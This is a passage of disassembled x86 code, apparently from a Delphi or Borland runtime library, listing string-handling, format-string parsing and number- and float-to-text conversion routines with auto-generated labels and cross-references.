		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		stosb
		mov	eax, edx
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_40008184	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400081B8	proc near		; CODE XREF: sub_40014F8C+14Ep
					; sub_40014F8C+169p
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, eax
		mov	ebx, esi
		test	ebx, ebx
		jz	short loc_400081CA
		sub	ebx, 4
		mov	ebx, [ebx]


loc_400081CA:				; CODE XREF: sub_400081B8+Bj
		mov	eax, esi
		call	sub_40004D48
		mov	edx, eax
		mov	ecx, ebx
		mov	eax, edi
		call	sub_40008184
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400081B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_400081E0	proc near		; CODE XREF: sub_400096A8+388p
					; sub_400096A8+39Dp ...
		push	edi
		push	esi
		push	ebx
		mov	edi, edx
		mov	esi, eax
		mov	ebx, ecx
		xor	eax, eax
		or	ecx, ecx
		jz	short loc_4000821E
		repne scasb
		sub	ebx, ecx
		mov	ecx, ebx
		mov	edi, edx
		xor	edx, edx


loc_400081F9:				; CODE XREF: sub_400081E0+3Cj
		repe cmpsb
		jz	short loc_4000821E
		mov	al, [esi-1]
		cmp	al, 61h
		jb	short loc_4000820A
		cmp	al, 7Ah
		ja	short loc_4000820A
		sub	al, 20h


loc_4000820A:				; CODE XREF: sub_400081E0+22j
					; sub_400081E0+26j
		mov	dl, [edi-1]
		cmp	dl, 61h
		jb	short loc_4000821A
		cmp	dl, 7Ah
		ja	short loc_4000821A
		sub	dl, 20h


loc_4000821A:				; CODE XREF: sub_400081E0+30j
					; sub_400081E0+35j
		sub	eax, edx
		jz	short loc_400081F9


loc_4000821E:				; CODE XREF: sub_400081E0+Dj
					; sub_400081E0+1Bj
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_400081E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40008224	proc near		; CODE XREF: sub_4000805C+2Fp
					; sub_4000BD04+Bp ...
		jmp	short loc_4000822E
; ---------------------------------------------------------------------------


loc_40008226:				; CODE XREF: sub_40008224+Fj
		test	cl, cl
		jnz	short loc_4000822D
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4000822D:				; CODE XREF: sub_40008224+4j
		inc	eax


loc_4000822E:				; CODE XREF: sub_40008224j
		movzx	ecx, byte ptr [eax]
		cmp	dl, cl
		jnz	short loc_40008226
		retn
sub_40008224	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40008238	proc near		; CODE XREF: sub_4000BC30+3Bp
					; sub_4000BC30+7Cp
		push	edi
		push	esi
		push	ebx
		or	eax, eax
		jz	short loc_40008283
		or	edx, edx
		jz	short loc_40008283
		mov	ebx, eax
		mov	edi, edx
		xor	al, al
		mov	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		jz	short loc_40008283
		mov	esi, ecx
		mov	edi, ebx
		mov	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	ecx, esi
		jbe	short loc_40008283
		mov	edi, ebx
		lea	ebx, [esi-1]


loc_4000826B:				; CODE XREF: sub_40008238+44j
		mov	esi, edx
		lodsb
		repne scasb
		jnz	short loc_40008283
		mov	eax, ecx
		push	edi
		mov	ecx, ebx
		repe cmpsb
		pop	edi
		mov	ecx, eax
		jnz	short loc_4000826B
		lea	eax, [edi-1]
		jmp	short loc_40008285
; ---------------------------------------------------------------------------


loc_40008283:				; CODE XREF: sub_40008238+5j
					; sub_40008238+9j ...
		xor	eax, eax


loc_40008285:				; CODE XREF: sub_40008238+49j
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_40008238	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000828C	proc near		; CODE XREF: sub_4000843E+7Dp

var_34		= byte ptr -34h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFD8h
		mov	ebx, ecx
		mov	esi, edx
		mov	edi, eax
		cmp	ebx, 1Fh
		jbe	short loc_400082A2
		mov	ebx, 1Fh


loc_400082A2:				; CODE XREF: sub_4000828C+Fj
		mov	edx, ebx
		dec	edx
		mov	eax, esi
		call	sub_4000B938
		cmp	al, 1
		jnz	short loc_400082B1
		dec	ebx


loc_400082B1:				; CODE XREF: sub_4000828C+22j
		mov	eax, esp
		mov	ecx, ebx
		mov	edx, esi
		call	sub_40008174
		mov	[esp+ebx+34h+var_34], 0
		mov	eax, esp
		mov	[esp+34h+var_14], eax
		mov	[esp+34h+var_10], 6
		lea	edx, [esp+34h+var_14]
		mov	eax, off_4001A85C[edi*4]
		xor	ecx, ecx
		call	sub_40007998
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000828C	endp


; =============== S U B	R O U T	I N E =======================================



sub_400082E4	proc near		; CODE XREF: sub_4000843E+114p
		push	ebx
		mov	ecx, off_4001B0B4
		cmp	dword ptr [ecx], 0
		jz	short loc_400082FC
		mov	ebx, off_4001B0B4
		mov	ebx, [ebx]
		call	ebx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_400082FC:				; CODE XREF: sub_400082E4+Aj
		mov	al, 10h
		call	sub_40002D50
sub_400082E4	endp

; ---------------------------------------------------------------------------
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40008308	proc near		; CODE XREF: sub_40008314+D3p
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_40004884
		pop	ebx
		retn
sub_40008308	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40008314	proc near		; CODE XREF: sub_4000868C+2Ap
					; sub_400086E0+54p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 4000867B SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF94h
		push	ebx
		xor	ebx, ebx
		mov	[ebp+var_14], ebx
		push	ebx
		push	esi
		push	edi
		mov	edi, eax
		mov	esi, ecx
		xor	eax, eax
		mov	[ebp+var_4], eax
		add	ecx, [ebp+arg_8]
		mov	[ebp+var_8], edi
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax


loc_4000833D:				; CODE XREF: sub_40008314+DDj
		or	edx, edx
		jz	short loc_4000834E


loc_40008341:				; CODE XREF: sub_40008314+38j
		cmp	esi, ecx
		jz	short loc_4000834E
		lodsb
		cmp	al, 25h
		jz	short loc_40008358


loc_4000834A:				; CODE XREF: sub_40008314+4Bj
		stosb
		dec	edx
		jnz	short loc_40008341


loc_4000834E:				; CODE XREF: sub_40008314+2Bj
					; sub_40008314+2Fj ...
		mov	eax, edi
		sub	eax, [ebp+var_8]
		jmp	loc_4000867B
; ---------------------------------------------------------------------------


loc_40008358:				; CODE XREF: sub_40008314+34j
		cmp	esi, ecx
		jz	short loc_4000834E
		lodsb
		cmp	al, 25h
		jz	short loc_4000834A
		lea	ebx, [esi-2]
		mov	[ebp+var_18], ebx


loc_40008367:				; CODE XREF: sub_40008314+70j
		mov	[ebp+var_19], al
		cmp	al, 2Dh
		jnz	short loc_40008373
		cmp	esi, ecx
		jz	short loc_4000834E
		lodsb


loc_40008373:				; CODE XREF: sub_40008314+58j
		call	sub_400083F6
		cmp	al, 3Ah
		jnz	short loc_40008386
		mov	[ebp+var_C], ebx
		cmp	esi, ecx
		jz	short loc_4000834E
		lodsb
		jmp	short loc_40008367
; ---------------------------------------------------------------------------


loc_40008386:				; CODE XREF: sub_40008314+66j
		mov	[ebp+var_20], ebx
		mov	ebx, 0FFFFFFFFh
		cmp	al, 2Eh
		jnz	short loc_4000839C
		cmp	esi, ecx
		jz	short loc_4000834E
		lodsb
		call	sub_400083F6


loc_4000839C:				; CODE XREF: sub_40008314+7Cj
		mov	[ebp+var_24], ebx
		mov	[ebp+var_28], esi
		push	ecx
		push	edx
		call	sub_4000843E
		pop	edx
		mov	ebx, [ebp+var_20]
		sub	ebx, ecx
		jnb	short loc_400083B3
		xor	ebx, ebx


loc_400083B3:				; CODE XREF: sub_40008314+9Bj
		cmp	[ebp+var_19], 2Dh
		jnz	short loc_400083C3
		sub	edx, ecx
		jnb	short loc_400083C1
		add	ecx, edx
		xor	edx, edx


loc_400083C1:				; CODE XREF: sub_40008314+A7j
		rep movsb


loc_400083C3:				; CODE XREF: sub_40008314+A3j
		xchg	ebx, ecx
		sub	edx, ecx
		jnb	short loc_400083CD
		add	ecx, edx
		xor	edx, edx


loc_400083CD:				; CODE XREF: sub_40008314+B3j
		mov	al, 20h
		rep stosb
		xchg	ebx, ecx
		sub	edx, ecx
		jnb	short loc_400083DB
		add	ecx, edx
		xor	edx, edx


loc_400083DB:				; CODE XREF: sub_40008314+C1j
		rep movsb
		cmp	[ebp+var_10], 0
		jz	short loc_400083ED
		push	edx
		lea	eax, [ebp+var_10]
		call	sub_40008308
		pop	edx


loc_400083ED:				; CODE XREF: sub_40008314+CDj
		pop	ecx
		mov	esi, [ebp+var_28]
		jmp	loc_4000833D
sub_40008314	endp


; =============== S U B	R O U T	I N E =======================================



sub_400083F6	proc near		; CODE XREF: sub_40008314:loc_40008373p
					; sub_40008314+83p
		xor	ebx, ebx
		cmp	al, 2Ah
		jz	short loc_4000841E


loc_400083FC:				; CODE XREF: sub_400083F6+20j
		cmp	al, 30h
		jb	short locret_4000843D
		cmp	al, 39h
		ja	short locret_4000843D
		imul	ebx, 0Ah
		sub	al, 30h
		movzx	eax, al
		add	ebx, eax
		cmp	esi, ecx
		jz	short loc_40008418
		lodsb
		jmp	short loc_400083FC
; ---------------------------------------------------------------------------


loc_40008418:				; CODE XREF: sub_400083F6+1Dj
					; sub_400083F6+44j
		pop	eax
		jmp	loc_4000834E
; ---------------------------------------------------------------------------


loc_4000841E:				; CODE XREF: sub_400083F6+4j
		mov	eax, [ebp-0Ch]
		cmp	eax, [ebp+8]
		jg	short loc_40008438
		inc	dword ptr [ebp-0Ch]
		mov	ebx, [ebp+0Ch]
		cmp	byte ptr [ebx+eax*8+4],	0
		mov	ebx, [ebx+eax*8]
		jz	short loc_40008438
		xor	ebx, ebx


loc_40008438:				; CODE XREF: sub_400083F6+2Ej
					; sub_400083F6+3Ej
		cmp	esi, ecx
		jz	short loc_40008418
		lodsb

locret_4000843D:			; CODE XREF: sub_400083F6+8j
					; sub_400083F6+Cj
		retn
sub_400083F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4000843E	proc near		; CODE XREF: sub_40008314+90p
		and	al, 0DFh
		mov	cl, al
		mov	eax, 1
		mov	ebx, [ebp-0Ch]
		cmp	ebx, [ebp+8]
		jg	short loc_400084AB
		inc	dword ptr [ebp-0Ch]
		mov	esi, [ebp+0Ch]
		lea	esi, [esi+ebx*8]
		mov	eax, [esi]
		movzx	edx, byte ptr [esi+4]
		jmp	ds:off_40008465[edx*4]
; ---------------------------------------------------------------------------
off_40008465	dd offset loc_400084F6	; DATA XREF: sub_4000843E+20r
		dd offset loc_400084A9
		dd offset loc_4000852F
		dd offset loc_400085F6
		dd offset loc_4000855F
		dd offset loc_400085D7
		dd offset loc_400085B7
		dd offset loc_400084A9
		dd offset loc_400084A9
		dd offset loc_400084A9
		dd offset loc_40008570
		dd offset loc_4000859B
		dd offset loc_400085F2
		dd offset loc_4000853E
		dd offset loc_400084A9
		dd offset loc_40008577
		dd offset loc_400084C0
; ---------------------------------------------------------------------------


loc_400084A9:				; CODE XREF: sub_4000843E+20j
					; sub_4000843E+B6j ...
		xor	eax, eax


loc_400084AB:				; CODE XREF: sub_4000843E+Fj
		call	sub_4000866B
		mov	edx, [ebp-18h]
		mov	ecx, [ebp-28h]
		sub	ecx, edx
		mov	ebx, [ebp-4]
		call	sub_4000828C


loc_400084C0:				; CODE XREF: sub_4000843E+20j
					; DATA XREF: sub_4000843E+67o
		lea	esi, [ebp-49h]
		mov	edx, [ebp-24h]
		cmp	edx, 20h
		jbe	short loc_400084CD
		xor	edx, edx


loc_400084CD:				; CODE XREF: sub_4000843E+8Bj
		mov	ebx, ecx
		sub	cl, 44h
		jz	sub_40007CB8
		mov	ecx, 10h
		cmp	bl, 58h
		jz	sub_40007CB8
		mov	ecx, 0Ah
		cmp	bl, 55h
		jz	sub_40007CB8
		jmp	short loc_400084A9
; ---------------------------------------------------------------------------


loc_400084F6:				; CODE XREF: sub_4000843E+20j
					; DATA XREF: sub_4000843E:off_40008465o
		lea	esi, [ebp-59h]
		mov	edx, [ebp-24h]
		mov	ebx, ecx
		cmp	edx, 10h
		jbe	short loc_40008505
		xor	edx, edx


loc_40008505:				; CODE XREF: sub_4000843E+C3j
		sub	cl, 44h
		jz	sub_40007C4C
		mov	ecx, 10h
		cmp	bl, 58h
		jz	sub_40007C4C
		mov	ecx, 0Ah
		cmp	bl, 55h
		jz	sub_40007C4C
		jmp	loc_400084A9
; ---------------------------------------------------------------------------


loc_4000852F:				; CODE XREF: sub_4000843E+20j
					; DATA XREF: sub_4000843E+2Fo
		cmp	cl, 53h
		jnz	loc_400084A9
		mov	ecx, 1
		retn
; ---------------------------------------------------------------------------


loc_4000853E:				; CODE XREF: sub_4000843E+20j
					; DATA XREF: sub_4000843E+5Bo
		cmp	cl, 53h
		jnz	loc_400084A9
		cmp	word ptr [eax],	1
		jbe	short loc_4000855C
		mov	edx, eax
		lea	eax, [ebp-10h]
		call	sub_400082E4
		mov	esi, [ebp-10h]
		jmp	short loc_400085A6
; ---------------------------------------------------------------------------


loc_4000855C:				; CODE XREF: sub_4000843E+10Dj
					; sub_4000843E+16Aj
		xor	ecx, ecx
		retn
; ---------------------------------------------------------------------------


loc_4000855F:				; CODE XREF: sub_4000843E+20j
					; DATA XREF: sub_4000843E+37o
		cmp	cl, 53h
		jnz	loc_400084A9
		mov	esi, eax
		lodsb
		movzx	ecx, al
		jmp	short loc_400085AD
; ---------------------------------------------------------------------------


loc_40008570:				; CODE XREF: sub_4000843E+20j
					; DATA XREF: sub_4000843E+4Fo
		mov	esi, offset sub_40004AAC
		jmp	short loc_4000857C
; ---------------------------------------------------------------------------


loc_40008577:				; CODE XREF: sub_4000843E+20j
					; DATA XREF: sub_4000843E+63o
		mov	esi, offset sub_40004B0C


loc_4000857C:				; CODE XREF: sub_4000843E+137j
		add	esi, [ebp-4]
		cmp	cl, 53h
		jnz	loc_400084A9
		mov	edx, eax
		lea	eax, [ebp-14h]
		push	ebx
		mov	ebx, [ebp-4]
		call	esi
		pop	ebx
		mov	esi, [ebp-14h]
		mov	eax, esi
		jmp	short loc_400085A6
; ---------------------------------------------------------------------------


loc_4000859B:				; CODE XREF: sub_4000843E+20j
					; DATA XREF: sub_4000843E+53o
		cmp	cl, 53h
		jnz	loc_400084A9
		mov	esi, eax


loc_400085A6:				; CODE XREF: sub_4000843E+11Cj
					; sub_4000843E+15Bj
		or	esi, esi
		jz	short loc_4000855C
		mov	ecx, [esi-4]


loc_400085AD:				; CODE XREF: sub_4000843E+130j
		cmp	ecx, [ebp-24h]
		ja	short loc_400085B3
		retn
; ---------------------------------------------------------------------------


loc_400085B3:				; CODE XREF: sub_4000843E+172j
		mov	ecx, [ebp-24h]
		retn
; ---------------------------------------------------------------------------


loc_400085B7:				; CODE XREF: sub_4000843E+20j
					; DATA XREF: sub_4000843E+3Fo
		cmp	cl, 53h
		jnz	loc_400084A9
		mov	esi, eax
		push	edi
		mov	edi, eax
		xor	al, al
		mov	ecx, [ebp-24h]
		jecxz	short loc_400085D1
		repne scasb
		jnz	short loc_400085D1
		dec	edi


loc_400085D1:				; CODE XREF: sub_4000843E+18Cj
					; sub_4000843E+190j
		mov	ecx, edi
		sub	ecx, esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_400085D7:				; CODE XREF: sub_4000843E+20j
					; DATA XREF: sub_4000843E+3Bo
		cmp	cl, 50h
		jnz	loc_400084A9
		mov	edx, 8
		mov	ecx, 10h
		lea	esi, [ebp-59h]
		jmp	sub_40007C4C
; ---------------------------------------------------------------------------


loc_400085F2:				; CODE XREF: sub_4000843E+20j
					; DATA XREF: sub_4000843E+57o
		mov	bh, 1
		jmp	short loc_400085F8
; ---------------------------------------------------------------------------


loc_400085F6:				; CODE XREF: sub_4000843E+20j
					; DATA XREF: sub_4000843E+33o
		mov	bh, 0


loc_400085F8:				; CODE XREF: sub_4000843E+1B6j
		mov	esi, eax
		mov	bl, 0
		cmp	cl, 47h
		jz	short loc_40008640
		mov	bl, 1
		cmp	cl, 45h
		jz	short loc_40008640
		mov	bl, 2
		cmp	cl, 46h
		jz	short loc_40008621
		mov	bl, 3
		cmp	cl, 4Eh
		jz	short loc_40008621
		cmp	cl, 4Dh
		jnz	loc_400084A9
		mov	bl, 4


loc_40008621:				; CODE XREF: sub_4000843E+1CFj
					; sub_4000843E+1D6j
		mov	eax, 12h
		mov	edx, [ebp-24h]
		cmp	edx, eax
		jbe	short loc_40008652
		mov	edx, 2
		cmp	cl, 4Dh
		jnz	short loc_40008652
		movzx	edx, ds:byte_4001E810
		jmp	short loc_40008652
; ---------------------------------------------------------------------------


loc_40008640:				; CODE XREF: sub_4000843E+1C1j
					; sub_4000843E+1C8j
		mov	eax, [ebp-24h]
		mov	edx, 3
		cmp	eax, 12h
		jbe	short loc_40008652
		mov	eax, 0Fh


loc_40008652:				; CODE XREF: sub_4000843E+1EDj
					; sub_4000843E+1F7j ...
		push	ebx
		push	eax
		push	edx
		lea	eax, [ebp-69h]
		mov	edx, esi
		movzx	ecx, bh
		mov	ebx, [ebp-4]
		call	sub_40008800
		mov	ecx, eax
		lea	esi, [ebp-69h]
		retn
sub_4000843E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000866B	proc near		; CODE XREF: sub_4000843E:loc_400084ABp
					; sub_40008314:loc_4000867Bp
		push	ebx
		push	eax
		lea	eax, [ebp-14h]
		mov	ebx, [ebp-4]
		call	sub_40004884
		pop	eax
		pop	ebx
		retn
sub_4000866B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40008314


loc_4000867B:				; CODE XREF: sub_40008314+3Fj
		call	sub_4000866B
		pop	edi
		pop	esi
		pop	ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_40008314
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000868C	proc near		; CODE XREF: sub_4000ADE0+169p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	edi, edx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_400086C3
		test	esi, esi
		jz	short loc_400086C3
		mov	eax, esi
		call	sub_4000815C
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, esi
		mov	eax, ebx
		mov	edx, edi
		call	sub_40008314
		mov	byte ptr [ebx+eax], 0
		mov	eax, ebx
		jmp	short loc_400086C5
; ---------------------------------------------------------------------------


loc_400086C3:				; CODE XREF: sub_4000868C+Ej
					; sub_4000868C+12j
		xor	eax, eax


loc_400086C5:				; CODE XREF: sub_4000868C+35j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_4000868C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400086CC	proc near		; CODE XREF: sub_4000B06C+34p
					; sub_4000B128+41p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		xchg	eax, ecx
		xchg	edx, ecx
		call	sub_400086E0
		pop	ebp
		retn	4
sub_400086CC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400086E0	proc near		; CODE XREF: sub_400086CC+Ap
					; sub_40015EE4+74p

var_100C	= byte ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFF004h
		push	eax
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	edi, eax
		mov	ebx, 1000h
		mov	edx, [ebp+var_4]
		mov	eax, edx
		test	eax, eax
		jz	short loc_4000870B
		sub	eax, 4
		mov	eax, [eax]


loc_4000870B:				; CODE XREF: sub_400086E0+24j
		cmp	eax, 0C00h
		jge	short loc_4000873E
		mov	eax, edx
		test	eax, eax
		jz	short loc_4000871D
		sub	eax, 4
		mov	eax, [eax]


loc_4000871D:				; CODE XREF: sub_400086E0+36j
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		lea	eax, [ebp+var_100C]
		mov	edx, 0FFFh
		call	sub_40008314
		mov	[ebp+var_C], eax
		jmp	short loc_4000874E
; ---------------------------------------------------------------------------


loc_4000873E:				; CODE XREF: sub_400086E0+30j
		mov	eax, edx
		test	eax, eax
		jz	short loc_40008749
		sub	eax, 4
		mov	eax, [eax]


loc_40008749:				; CODE XREF: sub_400086E0+62j
		mov	ebx, eax
		mov	[ebp+var_C], ebx


loc_4000874E:				; CODE XREF: sub_400086E0+5Cj
		mov	eax, ebx
		dec	eax
		cmp	eax, [ebp+var_C]
		jg	short loc_400087A3
		jmp	short loc_4000878F
; ---------------------------------------------------------------------------


loc_40008758:				; CODE XREF: sub_400086E0+B5j
		add	ebx, ebx
		mov	eax, edi
		call	sub_40004884
		mov	eax, edi
		mov	edx, ebx
		call	sub_40004F74
		mov	esi, [ebp+var_4]
		test	esi, esi
		jz	short loc_40008776
		sub	esi, 4
		mov	esi, [esi]


loc_40008776:				; CODE XREF: sub_400086E0+8Fj
		push	esi
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, ebx
		dec	edx
		mov	eax, [edi]
		call	sub_40008314
		mov	[ebp+var_C], eax


loc_4000878F:				; CODE XREF: sub_400086E0+76j
		mov	eax, ebx
		dec	eax
		cmp	eax, [ebp+var_C]
		jle	short loc_40008758
		mov	eax, edi
		mov	edx, [ebp+var_C]
		call	sub_40004F74
		jmp	short loc_400087B3
; ---------------------------------------------------------------------------


loc_400087A3:				; CODE XREF: sub_400086E0+74j
		lea	edx, [ebp+var_100C]
		mov	eax, edi
		mov	ecx, [ebp+var_C]
		call	sub_40004974


loc_400087B3:				; CODE XREF: sub_400086E0+C1j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_400086E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_400087BC	proc near		; CODE XREF: sub_40008909+8Dp
		push	esi
		xor	esi, esi
		stosb
		or	bl, bl
		jnz	short loc_400087C8
		xor	edx, edx
		jmp	short loc_400087D2
; ---------------------------------------------------------------------------


loc_400087C8:				; CODE XREF: sub_400087BC+6j
		or	edx, edx
		jge	short loc_400087D2
		mov	al, 2Dh
		neg	edx
		jmp	short loc_400087D8
; ---------------------------------------------------------------------------


loc_400087D2:				; CODE XREF: sub_400087BC+Aj
					; sub_400087BC+Ej
		or	ah, ah
		jz	short loc_400087D9
		mov	al, ah


loc_400087D8:				; CODE XREF: sub_400087BC+14j
		stosb


loc_400087D9:				; CODE XREF: sub_400087BC+18j
		xchg	eax, edx
		push	eax
		mov	ebx, esp


loc_400087DD:				; CODE XREF: sub_400087BC+32j
					; sub_400087BC+36j
		xor	edx, edx
		div	flt_4001A870[esi]
		add	dl, 30h
		mov	[ebx], dl
		inc	ebx
		dec	ecx
		or	eax, eax
		jnz	short loc_400087DD
		or	ecx, ecx
		jg	short loc_400087DD


loc_400087F4:				; CODE XREF: sub_400087BC+3Ej
		dec	ebx
		mov	al, [ebx]
		stosb
		cmp	ebx, esp
		jnz	short loc_400087F4
		pop	eax
		pop	esi
		retn
sub_400087BC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40008800	proc near		; CODE XREF: sub_4000843E+222p
					; sub_40008E14+17p ...

var_2C		= word ptr -2Ch
var_29		= byte ptr -29h
var_14		= dword	ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

; FUNCTION CHUNK AT 40008ACD SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD4h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_4], eax
		mov	al, ds:byte_4001E80F
		mov	[ebp+var_5], al
		mov	al, ds:byte_4001E80E
		mov	[ebp+var_6], al
		mov	eax, ds:dword_4001E808
		mov	[ebp+var_C], eax
		mov	al, ds:byte_4001E80C
		mov	[ebp+var_D], al
		mov	al, ds:byte_4001E80D
		mov	[ebp+var_E], al
		mov	[ebp+var_14], 0
		mov	eax, 13h
		cmp	cl, 0
		jnz	short loc_4000885C
		mov	eax, [ebp+arg_4]
		cmp	eax, 2
		jge	short loc_40008852
		mov	eax, 2


loc_40008852:				; CODE XREF: sub_40008800+4Bj
		cmp	eax, 12h
		jle	short loc_4000885C
		mov	eax, 12h


loc_4000885C:				; CODE XREF: sub_40008800+43j
					; sub_40008800+55j
		mov	[ebp+arg_4], eax
		push	eax
		mov	eax, 270Fh
		cmp	[ebp+arg_8], 2
		jb	short loc_4000886E
		mov	eax, [ebp+arg_0]


loc_4000886E:				; CODE XREF: sub_40008800+69j
		push	eax
		lea	eax, [ebp+var_2C]
		call	sub_40008AD4
		mov	edi, [ebp+var_4]
		movzx	eax, [ebp+var_2C]
		sub	eax, 7FFFh
		cmp	eax, 2
		jnb	short loc_400088A2
		mov	ecx, eax
		call	sub_400088FF
		lea	esi, dword_400088F0[ecx+ecx*2]
		add	esi, [ebp+var_14]
		mov	ecx, 3
		rep movsb
		jmp	short loc_400088CF
; ---------------------------------------------------------------------------


loc_400088A2:				; CODE XREF: sub_40008800+86j
		lea	esi, [ebp+var_29]
		movzx	ebx, [ebp+arg_8]
		cmp	bl, 1
		jz	short loc_400088BE
		cmp	bl, 4
		ja	short loc_400088BC
		movsx	eax, [ebp+var_2C]
		cmp	eax, [ebp+arg_4]
		jle	short loc_400088BE


loc_400088BC:				; CODE XREF: sub_40008800+B1j
		mov	bl, 0


loc_400088BE:				; CODE XREF: sub_40008800+ACj
					; sub_40008800+BAj
		lea	ebx, off_400088DC[ebx*4]
		add	ebx, [ebp+var_14]
		mov	ebx, [ebx]
		add	ebx, [ebp+var_14]
		call	ebx


loc_400088CF:				; CODE XREF: sub_40008800+A0j
		mov	eax, edi
		sub	eax, [ebp+var_4]
		pop	ebx
		pop	esi
		pop	edi
		jmp	loc_40008ACD
sub_40008800	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
off_400088DC	dd offset sub_40008909	; DATA XREF: sub_40008800:loc_400088BEo
		dd offset loc_40008965
		dd offset sub_4000899C
		dd offset sub_4000899C
		dd offset sub_40008A06
dword_400088F0	dd 4E464E49h	; ---------------------------------------------------------------------------
		inc	ecx
		dec	esi

; =============== S U B	R O U T	I N E =======================================



sub_400088F6	proc near		; CODE XREF: sub_40008909+61p
					; sub_40008909:loc_40008978p ...
		lodsb
		or	al, al
		jnz	short locret_400088FE
		mov	al, 30h
		dec	esi

locret_400088FE:			; CODE XREF: sub_400088F6+3j
		retn
sub_400088F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_400088FF	proc near		; CODE XREF: sub_40008800+8Ap
					; sub_40008909p ...
		cmp	byte ptr [ebp-2Ah], 0
		jz	short locret_40008908
		mov	al, 2Dh
		stosb

locret_40008908:			; CODE XREF: sub_400088FF+4j
		retn
sub_400088FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40008909	proc near		; DATA XREF: .text:off_400088DCo
		call	sub_400088FF
		movsx	ecx, word ptr [ebp-2Ch]
		xor	edx, edx
		cmp	ecx, [ebp+0Ch]
		jg	short loc_40008936
		cmp	ecx, 0FFFFFFFDh
		jl	short loc_40008936
		or	ecx, ecx
		jg	short loc_4000893C
		mov	al, 30h
		stosb
		cmp	byte ptr [esi],	0
		jz	short locret_40008964
		mov	al, [ebp-5]
		stosb
		neg	ecx
		mov	al, 30h
		rep stosb
		jmp	short loc_40008950
; ---------------------------------------------------------------------------


loc_40008936:				; CODE XREF: sub_40008909+Ej
					; sub_40008909+13j
		mov	ecx, 1
		inc	edx


loc_4000893C:				; CODE XREF: sub_40008909+17j
					; sub_40008909+39j
		lodsb
		or	al, al
		jz	short loc_40008958
		stosb
		loop	loc_4000893C
		lodsb
		or	al, al
		jz	short loc_4000895C
		mov	ah, al
		mov	al, [ebp-5]
		stosw


loc_40008950:				; CODE XREF: sub_40008909+2Bj
					; sub_40008909+4Dj
